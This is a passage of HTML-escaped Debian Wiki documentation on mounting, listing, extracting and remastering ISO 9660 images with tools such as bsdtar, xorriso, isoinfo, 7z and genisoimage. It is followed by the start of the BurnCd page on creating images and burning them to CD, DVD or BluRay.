&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;archivemount&quot;&gt;archivemount&lt;&#x2F;a&gt; is a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;Documentation&#x2F;filesystems&#x2F;fuse.txt&quot;&gt;FUSE&lt;&#x2F;a&gt; based file system which supports reading from (but not writing to) ISO 9660 images. Create the directory &lt;em&gt;isomount&lt;&#x2F;em&gt; in $HOME and mount with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;archivemount example.iso isomount&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unmount with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fusermount -u isomount&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;fuseiso9660&quot;&gt;fuseiso9660&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;fuseiso9660&quot;&gt;fuseiso9660&lt;&#x2F;a&gt; is a module for the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;Documentation&#x2F;filesystems&#x2F;fuse.txt&quot;&gt;FUSE&lt;&#x2F;a&gt; kernel service.&lt;&#x2F;p&gt;
&lt;p&gt;Create the directory &lt;em&gt;isomount&lt;&#x2F;em&gt; in the home directory ($HOME) and mount the iso with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fuseiso9660 example.iso isomount&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unmount with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fusermount -u isomount&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;fuseiso9660 deals only with the basic ISO9660 format (see the manual) so filenames are limited to uppercase and 11 characters in an 8.3 format.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;viewing-the-contents-of-an-iso&quot;&gt;Viewing the Contents of an ISO&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#loopmount&quot;&gt;Mounting&lt;&#x2F;a&gt; the ISO and following up with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ls -l &amp;lt;mount_point&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;is one method of seeing what the structure of the ISO is and what it contains. However, there are a number of programs which will allow examination of the contents of an ISO archive without having to mount it and without administration rights.&lt;&#x2F;p&gt;
&lt;p&gt;A Debian 9 (stretch) netinst ISO will be used as an example image in what follows.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bsdtar&quot;&gt;bsdtar&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;bsdtar&quot;&gt;bsdtar&lt;&#x2F;a&gt; is a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;tar&quot;&gt;tar&lt;&#x2F;a&gt; implementation which can view the contents of various archive files, including ISO 9660 images. It can also extract files from the image. For a basic view of the contents of an ISO image do&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bsdtar -tf debian-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A detailed view would be obtained with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bsdtar -tvf debian-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To look at a particular directory in the archive there is&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bsdtar -tf debian-9.3.0-i386-netinst.iso pool&amp;#x2F;main&amp;#x2F;a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;xorriso&quot;&gt;xorriso&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;xorriso&quot;&gt;xorriso&lt;&#x2F;a&gt; is a versatile program which manipulates ISO 9660 filesystem images. It can also extract files from the image.&lt;&#x2F;p&gt;
&lt;p&gt;Commands which correspond to the ones for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#bsdtar&quot;&gt;bsdtar&lt;&#x2F;a&gt;  are&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso -indev debian-9.3.0-i386-netinst.iso -ls

xorriso -indev debian-9.3.0-i386-netinst.iso -lsl

xorriso -indev debian-9.3.0-i386-netinst.iso -ls pool&amp;#x2F;main&amp;#x2F;b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;isoinfo&quot;&gt;isoinfo&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;isoinfo&quot;&gt;isoinfo&lt;&#x2F;a&gt; is included in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;genisoimage&quot;&gt;genisoimage&lt;&#x2F;a&gt; package and is able to list and extract files in an ISO 9660 image. The listing is of all files in the image.&lt;&#x2F;p&gt;
&lt;p&gt;For basic listing:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;isoinfo -J -l -i debian-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For long listing:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;isoinfo -J -f -i debian-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;7z&quot;&gt;7z&lt;&#x2F;h4&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;7z&quot;&gt;7z&lt;&#x2F;a&gt; utility comes in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;p7zip-full&quot;&gt;p7zip-full&lt;&#x2F;a&gt; package. It packs and unpacks 7z archives and has ISO 9660 as a supported format for unpacking.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;7z l debian-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;gives a file listing of the archive.&lt;&#x2F;p&gt;
&lt;p&gt;If debian-9.3.0-i386-netinst.iso &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#loopmount&quot;&gt;has been mounted&lt;&#x2F;a&gt; and it is desired to have all the deb and udeb files copied to other media it should be sufficient to do&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cp -a &amp;#x2F;media&amp;#x2F;&amp;lt;mount_point&amp;gt;&amp;#x2F;pool&amp;#x2F;main DESTINATION
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Without explicit mounting, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#view&quot;&gt;all the programs mentioned above&lt;&#x2F;a&gt; are capable of extracting the same files. The relevant commands are:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bsdtar -C DESTINATION -xf debian-9.3.0-i386-netinst.iso pool&amp;#x2F;main

xorriso -osirrox on -indev debian-9.3.0-i386-netinst.iso -extract pool&amp;#x2F;main DESTINATION

isoinfo -J -x &amp;#x2F;pool&amp;#x2F;main&amp;#x2F;a&amp;#x2F;adduser&amp;#x2F;adduser_3.113+nmu3_all.deb -i debian-9.3.0-i386-netinst.iso &amp;gt; DESTINATION&amp;#x2F;adduser_3.113+nmu3_all.deb

7z x -oDESTINATION -i\!pool&amp;#x2F;main debian-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;isoinfo only extracts single files and will display a file on stdout (possibly the screen) if it is not redirected somewhere.&lt;&#x2F;li&gt;
&lt;li&gt;7z doesn&#x27;t like spaces between an option and its argument. Also, the bash shell sees  &lt;em&gt;!&lt;&#x2F;em&gt;  as having a special meaning to it. This meaning can be removed by preceding  &lt;em&gt;!&lt;&#x2F;em&gt;  with a backslash.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;remaster-an-installation-image&quot;&gt;Remaster an Installation Image&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.debian.org&#x2F;distrib&#x2F;netinst&quot;&gt;Netinst&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.debian.org&#x2F;CD&#x2F;http-ftp&#x2F;&quot;&gt;DVD-1&lt;&#x2F;a&gt; images are popular choices when it comes to installing Debian. Much of the time it is sufficient simply to boot the image to have everything installed to a user&#x27;s satisfaction. However, it is also possible to pass &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.debian.org&#x2F;releases&#x2F;stable&#x2F;amd64&#x2F;ch05s03.en.html&quot;&gt;boot parameters&lt;&#x2F;a&gt; to the installer to achieve a particular end, either during the installation or on the installed system. Objectives could be to produce a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;Installation+Archive+USBStick&quot;&gt;fully automatic installation&lt;&#x2F;a&gt; or to configure part of the system using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.debian.org&#x2F;releases&#x2F;stable&#x2F;amd64&#x2F;apbs02.en.html&quot;&gt;preseeding&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Appending parameters to the kernel command line to setup, for example, a network connection, can be done relatively easily, but is a repetitive task when installing frequently. On the other hand, the installation image can be altered to contain the needed parameters before burning to CD or DVD or writing to a USB stick.&lt;&#x2F;p&gt;
&lt;p&gt;Manipulating an ISO image in this way is known as &lt;em&gt;remastering&lt;&#x2F;em&gt;. The basic idea will be illustrated using a Debian 9.3.0 i386 netinst image which is planned to be booted from the non-graphical install option with a preseed configuration file, &lt;em&gt;preseed.cfg&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;First make a place to put the extracted files:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mktemp -d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The name of the directory is displayed. Something like this should be seen:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs#extraction&quot;&gt;Extract&lt;&#x2F;a&gt; all files from the ISO with (for example)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat firmware-9.3.0-i386-netinst.iso | bsdtar -C &amp;quot;&amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx&amp;quot; -xf -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;or&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso -osirrox on -indev firmware-9.3.0-i386-netinst.iso -extract &amp;#x2F; &amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and make the files in  &lt;em&gt;&#x2F;tmp&#x2F;tmp.8t03ifDFAx&lt;&#x2F;em&gt; writable:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;chmod -R +w &amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A preseed configuration file can now be put in  &lt;em&gt;&#x2F;tmp&#x2F;tmp.8t03ifDFAx&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cp preseed.cfg &amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;appending-boot-parameters-to-the-iso&quot;&gt;Appending Boot Parameters to the ISO&lt;&#x2F;h4&gt;
&lt;p&gt;Edit  &lt;em&gt;&#x2F;tmp&#x2F;tmp.8t03ifDFAx&#x2F;isolinux&#x2F;txt.cfg&lt;&#x2F;em&gt; to add the required parameters to the end of the &lt;em&gt;append&lt;&#x2F;em&gt; line. What follows is a personal choice but&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;priority=high locale=en_GB.UTF-8 keymap=gb file=&amp;#x2F;cdrom&amp;#x2F;preseed.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;shows the intent. The language and keymap questions will not be asked and the rest of the installation will proceed under the guidance of &lt;em&gt;preseed.cfg&lt;&#x2F;em&gt;. &lt;em&gt;preseed.cfg&lt;&#x2F;em&gt; is found by the installer because the image is mounted on  &lt;em&gt;&#x2F;cdrom&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;putting-the-iso-back-together&quot;&gt;Putting the ISO Back Together&lt;&#x2F;h4&gt;
&lt;p&gt;For instructions how to re-use the full boot equipment of installation ISOs for &quot;i386&quot;, &quot;amd64&quot;, &quot;arm64&quot;, and other architectures, see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;RepackBootableISO&quot;&gt;RepackBootableISO&lt;&#x2F;a&gt;. The instructions in the following text suffice for &quot;i386&quot; and &quot;amd64&quot; in legacy BIOS mode.&lt;&#x2F;p&gt;
&lt;p&gt;Install &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;genisoimage&quot;&gt;genisoimage&lt;&#x2F;a&gt; and do&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;genisoimage -r -J -b isolinux&amp;#x2F;isolinux.bin -c isolinux&amp;#x2F;boot.cat \
            -no-emul-boot -boot-load-size 4 -boot-info-table \
            -o preseed-firmware-9.3.0-i386-netinst.iso &amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;(Leave out \ when using the command. It is only here to indicate a line-break ).&lt;&#x2F;p&gt;
&lt;p&gt;The original ISO was capable of being put on a USB stick at  &lt;em&gt;&#x2F;dev&#x2F;sdX&lt;&#x2F;em&gt; (X depends on what &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;lsblk&quot;&gt;lsblk&lt;&#x2F;a&gt; gives when the stick is plugged in) with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat firmware-9.3.0-i386-netinst.iso &amp;gt; &amp;#x2F;dev&amp;#x2F;sdX
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and would have been bootable. The ISO can be restored to a bootable state with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;isohybrid preseed-firmware-9.3.0-i386-netinst.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianMan&quot; href=&quot;https:&#x2F;&#x2F;manpages.debian.org&#x2F;man&#x2F;isohybrid&quot;&gt;isohybrid&lt;&#x2F;a&gt; is found in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;syslinux-utils&quot;&gt;syslinux-utils&lt;&#x2F;a&gt; package.&lt;&#x2F;p&gt;
&lt;p&gt;Alternatively, the genisoimage and isohybrid commands can be replaced by the single command:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;xorriso -as mkisofs -o preseed-firmware-9.3.0-i386-netinst.iso \
        -isohybrid-mbr &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;ISOLINUX&amp;#x2F;isohdpfx.bin \
        -c isolinux&amp;#x2F;boot.cat -b isolinux&amp;#x2F;isolinux.bin -no-emul-boot \
        -boot-load-size 4 -boot-info-table &amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;after installing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;isolinux&quot;&gt;isolinux&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, remove  &lt;em&gt;&#x2F;tmp&#x2F;tmp.8t03ifDFAx&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;rm -r &amp;#x2F;tmp&amp;#x2F;tmp.8t03ifDFAx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;burncd-debian-wiki&quot;&gt;BurnCd - Debian Wiki&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Debian Homepage&quot; href=&quot;https:&#x2F;&#x2F;www.debian.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.debian.org&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DebianWiki&#x2F;EditorGuide#translation&quot;&gt;Translation(s)&lt;&#x2F;a&gt;: English - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;fr&#x2F;BurnCd&quot;&gt;Français&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;it&#x2F;BurnCd&quot;&gt;Italiano&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;burn-optical-media&quot;&gt;Burn Optical Media&lt;&#x2F;h3&gt;
&lt;p&gt;There are several &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;DesktopEnvironment&quot;&gt;graphical&lt;&#x2F;a&gt; programs available in Debian to burn &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CDDVD&quot;&gt;CDs or DVDs&lt;&#x2F;a&gt;. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;PackageManagement&quot;&gt;Install&lt;&#x2F;a&gt; the relevant package:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;brasero&quot;&gt;brasero&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;xfburn&quot;&gt;xfburn&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;k3b&quot;&gt;k3b&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This page describes usage of optical media writers&#x2F;burners with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;CommandLineInterface&quot;&gt;CommandLineInterface&lt;&#x2F;a&gt; programs.&lt;&#x2F;p&gt;
&lt;p&gt;目录&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Burn_Optical_Media&quot;&gt;Burn Optical Media&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Make_an_ISO_9660_image_file&quot;&gt;Make an ISO 9660 image file&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Burn_the_image_file_to_CD.2C_DVD.2C_or_BD&quot;&gt;Burn the image file to CD, DVD, or BD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Test_it&quot;&gt;Test it&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Audio_CD&quot;&gt;Audio CD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Drive_Addressing&quot;&gt;Drive Addressing&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#ISO_9660_Burning_On_The_Fly&quot;&gt;ISO 9660 Burning On The Fly&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#ISO_9660_Multi-Session&quot;&gt;ISO 9660 Multi-Session&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#Legacy&quot;&gt;Legacy&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;BurnCd#See_also:&quot;&gt;See also:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;make-an-iso-9660-image-file&quot;&gt;Make an ISO 9660 image file&lt;&#x2F;h4&gt;
&lt;p&gt;Two packages are available in Debian for producing ISO 9660 filesystems: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;genisoimage&quot;&gt;genisoimage&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;xorriso&quot;&gt;xorriso&lt;&#x2F;a&gt;. These programs support the same options as the legacy mkisofs and cdrecord programs.&lt;&#x2F;p&gt;
&lt;p&gt;After installing xorriso or genisoimage, you may put the file tree &#x2F;path&#x2F;of&#x2F;directory into an ISO 9660 filesystem image file called my.iso by one of:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;genisoimage -v -J -r -V MY_DISK_LABEL -o my.iso &amp;#x2F;path&amp;#x2F;of&amp;#x2F;directory
xorriso -as mkisofs -v -J -r -V MY_DISK_LABEL -o my.iso &amp;#x2F;path&amp;#x2F;of&amp;#x2F;directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;See also &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;ManipulatingISOs&quot;&gt;ManipulatingISOs&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;burn-the-image-file-to-cd-dvd-or-bd&quot;&gt;Burn the image file to CD, DVD, or BD&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;wodim&quot;&gt;wodim&lt;&#x2F;a&gt; (CD)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;growisofs&quot;&gt;growisofs&lt;&#x2F;a&gt; (DVD, BluRay - BD)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;cdrskin&quot;&gt;cdrskin&lt;&#x2F;a&gt; (CD, DVD, BD)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;xorriso&quot;&gt;xorriso&lt;&#x2F;a&gt; (CD, DVD, BD)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;After &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.debian.org&#x2F;PackageManagement&quot;&gt;installing&lt;&#x2F;a&gt; wodim, cdrskin, or xorriso, you may burn the image file my.iso to a CD by one of:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;wodim -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -dao my.iso
cdrskin -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -dao my.iso
xorriso -as cdrecord -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -dao my.iso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;cdrskin and xorriso commands will also work on BluRay discs (wodim should not be used with DVD or BD media, see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.debian.org&#x2F;debian-user&#x2F;2018&#x2F;09&#x2F;msg01078.html&quot;&gt;here&lt;&#x2F;a&gt;). For BluRay burning, you can also install the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;DebianPkg&quot; href=&quot;https:&#x2F;&#x2F;packages.debian.org&#x2F;growisofs&quot;&gt;growisofs&lt;&#x2F;a&gt; package:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;growisofs -dvd-compat -speed=8 -Z &amp;#x2F;dev&amp;#x2F;sr0=my.iso -quiet
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As usual with the command line, burning will start right away with no confirmation questions.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;test-it&quot;&gt;Test it&lt;&#x2F;h4&gt;
